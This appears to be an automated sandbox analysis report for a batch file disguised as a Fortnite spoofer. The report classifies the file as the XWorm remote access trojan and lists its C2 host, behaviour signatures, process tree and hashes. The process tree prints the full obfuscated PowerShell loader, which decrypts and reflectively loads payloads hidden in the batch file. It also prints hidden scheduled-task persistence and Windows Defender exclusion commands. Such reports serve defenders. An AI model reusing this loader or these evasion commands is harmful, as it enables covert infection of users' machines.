Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-01-2025 18:46

General

  • Target

    SpooferFornite.bat

  • Size

    289KB

  • MD5

    1776b4ed272a4c874cb62d3827da9330

  • SHA1

    15611ee351e8fdb75b6d65fb5a2e111c3fed6b2e

  • SHA256

    9b4083ac2dee0d90ca305780b1318931af119cccd8e9516dd443f3a5ff3e0af7

  • SHA512

    e498841716e88b7ad28b53d33e4a448361abab540642171f9a8fc07f6f4e097d9aff20f4489c2ad49a76b0b94f27cc57a234022fe1c75174af641c72151d613e

  • SSDEEP

    6144:TO/Pb0ZIWr3AuGHdOOJvpW2hZkewDbShSj2+AoACcSc2hJaDeAnul2xojol9r:TO/bTNHdxW2rkewDbc8cH/x4o3r

Malware Config

Extracted

Family

xworm

C2

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes
  • Install_directory

    %ProgramData%

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('noPxVH3ddu1PqIPnSt7r1xd0OgXVM9X59CLWUoO1zk4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IjrdQlHUkjBl27IgF/hgbA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MKRBP=New-Object System.IO.MemoryStream(,$param_var); $PgIYR=New-Object System.IO.MemoryStream; $kyRBD=New-Object System.IO.Compression.GZipStream($MKRBP, [IO.Compression.CompressionMode]::Decompress); $kyRBD.CopyTo($PgIYR); $kyRBD.Dispose(); $MKRBP.Dispose(); $PgIYR.Dispose(); $PgIYR.ToArray();}function execute_function($param_var,$param2_var){ $WZIdA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $beHJX=$WZIdA.EntryPoint; $beHJX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat';$CsLar=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat').Split([Environment]::NewLine);foreach ($HvFyD in $CsLar) { if ($HvFyD.StartsWith(':: ')) { $zZbDh=$HvFyD.Substring(3); break; }}$payloads_var=[string[]]$zZbDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_217_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_217.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1008
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_217.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4868
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_217.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4156
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('noPxVH3ddu1PqIPnSt7r1xd0OgXVM9X59CLWUoO1zk4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IjrdQlHUkjBl27IgF/hgbA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MKRBP=New-Object System.IO.MemoryStream(,$param_var); $PgIYR=New-Object System.IO.MemoryStream; $kyRBD=New-Object System.IO.Compression.GZipStream($MKRBP, [IO.Compression.CompressionMode]::Decompress); $kyRBD.CopyTo($PgIYR); $kyRBD.Dispose(); $MKRBP.Dispose(); $PgIYR.Dispose(); $PgIYR.ToArray();}function execute_function($param_var,$param2_var){ $WZIdA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $beHJX=$WZIdA.EntryPoint; $beHJX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_217.bat';$CsLar=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_217.bat').Split([Environment]::NewLine);foreach ($HvFyD in $CsLar) { if ($HvFyD.StartsWith(':: ')) { $zZbDh=$HvFyD.Substring(3); break; }}$payloads_var=[string[]]$zZbDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4056
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1172
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1772
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4988
  • C:\ProgramData\powershell.exe
    C:\ProgramData\powershell.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:3548

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\powershell.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8d49a4af7a844bfc7247d5670def557

    SHA1

    26ae0ce194a77a7a1887cf93741293fdfa6c94c4

    SHA256

    61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

    SHA512

    9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d42b6da621e8df5674e26b799c8e2aa

    SHA1

    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

    SHA256

    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

    SHA512

    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    b1a1d8b05525b7b0c5babfd80488c1f2

    SHA1

    c85bbd6b7d0143676916c20fd52720499c2bb5c6

    SHA256

    adad192fc86c2f939fd3f70cb9ad323139a4e100f7c90b4454e2c53bdbc9b705

    SHA512

    346c6513c1373bab58439e37d3f75de1c5c587d7eb27076cf696e885a027b3b38d70b585839d1a2e7f2270cdcf0dac8c1fdff799f3b1158242ae9e3364c2a06e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdjvjdx3.pup.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_217.bat

    Filesize

    289KB

    MD5

    1776b4ed272a4c874cb62d3827da9330

    SHA1

    15611ee351e8fdb75b6d65fb5a2e111c3fed6b2e

    SHA256

    9b4083ac2dee0d90ca305780b1318931af119cccd8e9516dd443f3a5ff3e0af7

    SHA512

    e498841716e88b7ad28b53d33e4a448361abab540642171f9a8fc07f6f4e097d9aff20f4489c2ad49a76b0b94f27cc57a234022fe1c75174af641c72151d613e

  • C:\Users\Admin\AppData\Roaming\startup_str_217.vbs

    Filesize

    115B

    MD5

    cb960120355998d3e74a8c05fa4b662e

    SHA1

    9f4093dbbfa0f19cfece55accd0c528f0cb15337

    SHA256

    5af5a728df66c68b5fc74414a2af3f85e32cb74b2905b0db2dcb726eff936326

    SHA512

    72a47c4ad6e4bdb6ed3be85a221e3b8ce6c168aaad69cf20697b5be08b0ed6a1b742ef3e08358215a9cbaa7591f76a86718829535d8e3a2d4a993f2683958906

  • memory/1008-16-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1008-17-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1008-27-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1008-30-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-13-0x0000020C38B60000-0x0000020C38B68000-memory.dmp

    Filesize

    32KB

  • memory/1892-14-0x0000020C38B70000-0x0000020C38BA8000-memory.dmp

    Filesize

    224KB

  • memory/1892-0-0x00007FFD77D13000-0x00007FFD77D15000-memory.dmp

    Filesize

    8KB

  • memory/1892-50-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-12-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-11-0x00007FFD77D10000-0x00007FFD787D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-7-0x0000020C368B0000-0x0000020C368D2000-memory.dmp

    Filesize

    136KB

  • memory/3548-101-0x000001DD79340000-0x000001DD79384000-memory.dmp

    Filesize

    272KB

  • memory/3548-102-0x000001DD79620000-0x000001DD79696000-memory.dmp

    Filesize

    472KB

  • memory/4056-49-0x000001E4B3980000-0x000001E4B3996000-memory.dmp

    Filesize

    88KB